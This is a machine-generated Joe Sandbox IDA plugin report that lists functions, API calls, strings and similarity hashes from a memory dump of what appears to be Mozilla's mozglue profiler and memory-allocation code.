Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2429186680-2186867486
Opcode ID: d8fdc86194e2319842f88df2cf2dfb7af070d124dc2cec1e29a6761a0411da7f
Instruction ID: 9193b8ee425e93a342ef3fe65bf36e09a73e79fe07e531df1d05c0f8b38ab2d5
Opcode Fuzzy Hash: d8fdc86194e2319842f88df2cf2dfb7af070d124dc2cec1e29a6761a0411da7f
Instruction Fuzzy Hash: 10B092704143489BEB102BA4980DB09BB7CB749A01F04082AA3018A281CBFAE1008E61

Uniqueness

Uniqueness Score: -1.00%

Function 6BCB2272 Relevance: 6.6, APIs: 5, Instructions: 360COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6BCB237F
memcpy.VCRUNTIME140(?,?,00010000), ref: 6BCB2B9C

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 2dadc1988e15211d89260ee62ab2bcd488be1eea55ee80fdc105a0b6e3b42e82
Instruction ID: 00cf9d13cc318f59341e36dd996453cc4d968845416b6bd5e5fb5ccee493ae66
Opcode Fuzzy Hash: 2dadc1988e15211d89260ee62ab2bcd488be1eea55ee80fdc105a0b6e3b42e82
Instruction Fuzzy Hash: C3E16F71A102058FDB08CF69C8A0A9EBBB2FF88314F1981ADD9455F345E775EE85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6BCF9120 Relevance: 6.3, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6BCF8242,?,00000000,?,6BCEB63F), ref: 6BCF9188
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6BCF8242,?,00000000,?,6BCEB63F), ref: 6BCF91BB
memcpy.VCRUNTIME140(00000000,00000008,0000000F,?,?,6BCF8242,?,00000000,?,6BCEB63F), ref: 6BCF91EB
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6BCF8242,?,00000000,?,6BCEB63F), ref: 6BCF9200
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6BCF8242,?,00000000,?,6BCEB63F), ref: 6BCF9219

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 55aae811dd7b5e64241fe8db4ea12f0cca0b38c2201653cc4c2e77f8155c3a92
Instruction ID: 93b021fcbd57c5b808889f74ab1446545663fba1d3130acef3cce66f318ff481
Opcode Fuzzy Hash: 55aae811dd7b5e64241fe8db4ea12f0cca0b38c2201653cc4c2e77f8155c3a92
Instruction Fuzzy Hash: F0314431A106058BEF44CF68DC4476AB3A9EF81301F5585B9D856CB241FBB4DA06CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6BD07170 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6BD07250
EnterCriticalSection.KERNEL32(6BD2F688), ref: 6BD07277
__aulldiv.LIBCMT ref: 6BD072C4
LeaveCriticalSection.KERNEL32(6BD2F688), ref: 6BD072F7

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 95c724c4b45ab7f2a65f77721cd7a6aa0596d5d54477c9459c44517894985be8
Instruction ID: 4269348007e5ec05f70912f32fff6e1782f41d91f4605e951f785eadc61f0254
Opcode Fuzzy Hash: 95c724c4b45ab7f2a65f77721cd7a6aa0596d5d54477c9459c44517894985be8
Instruction Fuzzy Hash: D8517F71E00169DFDF08CFA8C950ABEF7B1FB89314F158A2AD955AB350C734A945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6BCEE390 Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BCEE3E4
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEE3F1
memset.VCRUNTIME140(?,00000000,?), ref: 6BCEE4AB

Part of subcall function 6BCB5D40: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,?,?,?,6BCED2DA,00000001), ref: 6BCB5D66

ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEE4F5
GetCurrentThreadId.KERNEL32 ref: 6BCEE577
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEE584
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEE5DE
memset.VCRUNTIME140(?,00000000,00000000), ref: 6BCEE6DA
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6BCEE864
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCEE883
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6BCEE8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6BCEE722, 6BCEE750, 6BCEE7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6BCEE777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6BCEE826, 6BCEE850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6BCEE655
MOZ_PROFILER_STARTUP, xrefs: 6BCEE5A1, 6BCEE5CC, 6BCEE5FF, 6BCEE62A

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreememset$Xbad_function_call@std@@malloc
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 905598890-53385798
Opcode ID: 8f8f5867b52f354cfed6c50f2cb41493e7c361419ab721c245d7002b345ca0e2
Instruction ID: 930c25f921cdd086896092c0bbb8fd0e490eeb5775b8b496f5213c0df76e08ac
Opcode Fuzzy Hash: 8f8f5867b52f354cfed6c50f2cb41493e7c361419ab721c245d7002b345ca0e2
Instruction Fuzzy Hash: 2D41AE70A20606CFDB14CF68C490BAAB7B1FF4A344F00456ED9565B781E778EA56CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6BCFDAE0 Relevance: 6.1, APIs: 4, Instructions: 113COMMON

Download Yara Rule

APIs

??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6BCFDB86
??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6BCFDC0E
free.MOZGLUE(?), ref: 6BCFDC2E
free.MOZGLUE(?), ref: 6BCFDC40

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: Impl@detail@mozilla@@Mutexfree
String ID:
API String ID: 3186548839-0
Opcode ID: e7a35df961f27c8ef1089d2235b91d25b19bf1f1a0f722e9eca41d9da0504c78
Instruction ID: 94cfcc5bc5b77d134bcc712cff984860da0f3f4bf763385d97dad00378ac418f
Opcode Fuzzy Hash: e7a35df961f27c8ef1089d2235b91d25b19bf1f1a0f722e9eca41d9da0504c78
Instruction Fuzzy Hash: 9A4188756107008FC710CF34C098B5ABBFABF88254F5488ADE99A8B341EB39E945CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6BCFA2B0 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6BCFA315
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?), ref: 6BCFA31F
free.MOZGLUE(00000000,?,?,?,?), ref: 6BCFA36A

Part of subcall function 6BCC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BCC5EDB
Part of subcall function 6BCC5E90: memset.VCRUNTIME140(6BD07765,000000E5,55CCCCCC), ref: 6BCC5F27
Part of subcall function 6BCC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6BCC5FB2

Part of subcall function 6BCF2140: free.MOZGLUE(?,00000060,?,6BCF7D36,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BCF215D

free.MOZGLUE(00000000), ref: 6BCFA37C

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveXbad_function_call@std@@memset
String ID:
API String ID: 700533648-0
Opcode ID: d4e847661bbf5804d9eb3abb43eb82d6cca17eddb7bcf04ace2925577813ca73
Instruction ID: dd9e76b9d9c07334975aaf0f939b275551c13e4eda4f0ec2cd3b32ef6eae97c1
Opcode Fuzzy Hash: d4e847661bbf5804d9eb3abb43eb82d6cca17eddb7bcf04ace2925577813ca73
Instruction Fuzzy Hash: 4521C1B5A116249BDB018B16D401B9FB7BCAF86764F0580A5EA095B300E73AEE07C6D2

Uniqueness

Uniqueness Score: -1.00%

Function 6BCC5B50 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,6BCC56EE,?,00000001), ref: 6BCC5B85
EnterCriticalSection.KERNEL32(6BD2F688,?,?,?,6BCC56EE,?,00000001), ref: 6BCC5B90
LeaveCriticalSection.KERNEL32(6BD2F688,?,?,?,6BCC56EE,?,00000001), ref: 6BCC5BD8
GetTickCount64.KERNEL32 ref: 6BCC5BE4

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: CriticalSection$Count64CounterEnterLeavePerformanceQueryTick
String ID:
API String ID: 2796706680-0
Opcode ID: bc5c94b71003793a0f82ca37de4d7768efca3bccf99e3c92176e605e9ffe2fe4
Instruction ID: 09bbdd0c29c2cf14fd5328ae4e946e0101a1d73af9f72537a2a86aea986611f1
Opcode Fuzzy Hash: bc5c94b71003793a0f82ca37de4d7768efca3bccf99e3c92176e605e9ffe2fe4
Instruction Fuzzy Hash: E9217C756047849FDB08CF68C55565AFBE5FF8E610F04882EEA9A8B391DB70E904CB41

Uniqueness

Uniqueness Score: -1.00%

Function 6BCF1B80 Relevance: 6.1, APIs: 4, Instructions: 77threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BCF1B98
AcquireSRWLockExclusive.KERNEL32(?,?,6BCF1D96,00000000), ref: 6BCF1BA1
ReleaseSRWLockExclusive.KERNEL32(?,?,6BCF1D96,00000000), ref: 6BCF1BB5
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BCF1C25

Part of subcall function 6BCF1C60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,6BCF759E,?,?), ref: 6BCF1CB4

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free
String ID:
API String ID: 3699359333-0
Opcode ID: 26f1cbde4786331959a6f05bdaf5e58df6dc40efda479402f38d7d4ce2a3f394
Instruction ID: ac94ccb8664826e008a54d5afc99d437a505cb76ecb2568fa14631f8526f43c1
Opcode Fuzzy Hash: 26f1cbde4786331959a6f05bdaf5e58df6dc40efda479402f38d7d4ce2a3f394
Instruction Fuzzy Hash: 2521C1F0A112248FDB449F6AC4857AFBBBCAF42744F00049DDA565B241F77DAA06C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 6BD07B10 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6BD07B51
__aulldiv.LIBCMT ref: 6BD07B6C
__aulldiv.LIBCMT ref: 6BD07B8B
__aulldiv.LIBCMT ref: 6BD07BB1

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: d00a51c4c5f930f9caa17efa13413b4b30e460f116377f5c22957434e894d04c
Instruction ID: f67c67395a035aa7e466602d580f5736d49cb32aace68765a5dc8ed55b729815
Opcode Fuzzy Hash: d00a51c4c5f930f9caa17efa13413b4b30e460f116377f5c22957434e894d04c
Instruction Fuzzy Hash: 5D212EB1B1060AAFD714CF7DCC86E67B7F8EB85714B10853EE55ADB350E674A9008BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6BD07A10 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6BCBBF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6BD07A3F), ref: 6BCBBF11
Part of subcall function 6BCBBF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6BD07A3F), ref: 6BCBBF5D
Part of subcall function 6BCBBF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6BD07A3F), ref: 6BCBBF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000013,00000000), ref: 6BD07A48
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_K@Z.MSVCP140(?,?), ref: 6BD07A7A

Part of subcall function 6BCB9830: free.MOZGLUE(?,?,?,6BD07ABE), ref: 6BCB985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6BD07AC0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6BD07AC8

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID:
API String ID: 3421697164-0
Opcode ID: a82b6d3ed7a5d0693ba75e4f72b37cbcc0099e35dec00620b6acfd6a847fc262
Instruction ID: 0415ab5c22407c8b21034f79d86aa3441c0273f026375c71eaf472a1a63c0e9e
Opcode Fuzzy Hash: a82b6d3ed7a5d0693ba75e4f72b37cbcc0099e35dec00620b6acfd6a847fc262
Instruction Fuzzy Hash: F62160356043049FCB14DF28D895A9EFBE5FF89314F44482DE94A8B351DB34E909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6BD07930 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6BCBBF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6BD07A3F), ref: 6BCBBF11
Part of subcall function 6BCBBF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6BD07A3F), ref: 6BCBBF5D
Part of subcall function 6BCBBF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6BD07A3F), ref: 6BCBBF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000012,00000000), ref: 6BD07968
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_J@Z.MSVCP140(6BD0A264,6BD0A264), ref: 6BD0799A

Part of subcall function 6BCB9830: free.MOZGLUE(?,?,?,6BD07ABE), ref: 6BCB985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6BD079E0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6BD079E8

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID:
API String ID: 3421697164-0
Opcode ID: 57ab38c8a0dec0588768dc69e5de936e1dcca8ee1e99eee586b2288f8d8ea733
Instruction ID: 3767041f7b1e704f70a348ee80f4ba13d873f28339a11e9266a0fd5a41324720
Opcode Fuzzy Hash: 57ab38c8a0dec0588768dc69e5de936e1dcca8ee1e99eee586b2288f8d8ea733
Instruction Fuzzy Hash: 9E216D356043049FCB14DF28D885A9EFBE5FF89314F44882DE94A8B351DB74E909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6BD0AAE0 Relevance: 6.1, APIs: 4, Instructions: 59threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BD0AAF8
EnterCriticalSection.KERNEL32(6BD2F770,?,6BCCBF9F), ref: 6BD0AB08
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,6BCCBF9F), ref: 6BD0AB39
LeaveCriticalSection.KERNEL32(6BD2F770,?,?,?,?,?,?,?,?,6BCCBF9F), ref: 6BD0AB6B

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread_stricmp
String ID:
API String ID: 1951318356-0
Opcode ID: 449b321b290f4a89cb77d6a1241e62e6a813012a7f18fec97a1dddb245e807be
Instruction ID: a05161aa75dc02d55c5e212dd8edf4c9ef9035f64dd23e7a0e78bfee2c241841
Opcode Fuzzy Hash: 449b321b290f4a89cb77d6a1241e62e6a813012a7f18fec97a1dddb245e807be
Instruction Fuzzy Hash: F01130B5E002498FDF04DFA8D88599FBBB5FF493147040429EA459B301EB74E909CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 6BCEEB00 Relevance: 6.0, APIs: 4, Instructions: 30threadsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BCEEB11
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6BCEEB3C
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEEB5B
GetCurrentThreadId.KERNEL32 ref: 6BCEEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6BCEEBAC
GetCurrentThreadId.KERNEL32 ref: 6BCEEBC1
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8,?,?,00000000), ref: 6BCEEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6BCEEBE5
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8,00000000), ref: 6BCEEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6BCEEC46
CloseHandle.KERNEL32(?), ref: 6BCEEC55
free.MOZGLUE(00000000), ref: 6BCEEC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6BCEEA9B
[I %d/%d] profiler_start, xrefs: 6BCEEBB4

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: ExclusiveLock$CurrentThread$AcquireRelease$?profiler_init@baseprofiler@mozilla@@CloseHandleObjectSingleWait_getpidfreememset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 2885072826-1186885292
Opcode ID: 7053924c3a9fd00b883b8d0691e764732f1bd309b52278b3fcf5df182233d3ef
Instruction ID: 89b670b547e8b0eaa0fe04929bfef124f07c926f26ca272715ea9aca18ab384e
Opcode Fuzzy Hash: 7053924c3a9fd00b883b8d0691e764732f1bd309b52278b3fcf5df182233d3ef
Instruction Fuzzy Hash: 08F0A731601392DBEF005F69D845B95FB64AB82665F000427FB06DF280D7F9A547C775

Uniqueness

Uniqueness Score: -1.00%

Function 6BCA9A20 Relevance: 5.3, APIs: 4, Instructions: 338COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6BCA9B2C
memcpy.VCRUNTIME140(6BCA99CF,00000000,?), ref: 6BCA9BB6
memcpy.VCRUNTIME140(?,?,?), ref: 6BCA9BF8
memcpy.VCRUNTIME140(?,?,?), ref: 6BCA9DE4

Memory Dump Source

Source File: 00000008.00000002.2550825416.000000006BCA1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000008.00000002.2550782385.000000006BCA0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551036900.000000006BD1D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551232880.000000006BD2E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000008.00000002.2551347099.000000006BD32000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bca0000_u5do.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: d868935584869e7ac09b2074aae8f4f2e2a8850dc3f949ded22ffbfce01a1025
Instruction ID: 8bf3e55a0023afed15d4262ba1d76a554369fe5d0f66fa157d6f3b63b8982601
Opcode Fuzzy Hash: d868935584869e7ac09b2074aae8f4f2e2a8850dc3f949ded22ffbfce01a1025
Instruction Fuzzy Hash: 2DD16D71A0060A9FCB14CFA9C881AAEBBF2FF88314F144529E945A7351E775EE51CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6BCF0A70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 6BCB37F0: ?ensureCapacitySlow@ProfilingStack@baseprofiler@mozilla@@AAEXXZ.MOZGLUE(?,?,?,?,6BD0145F,baseprofiler::AddMarkerToBuffer,00000000,?,00000039,00000000), ref: 6BCB380A

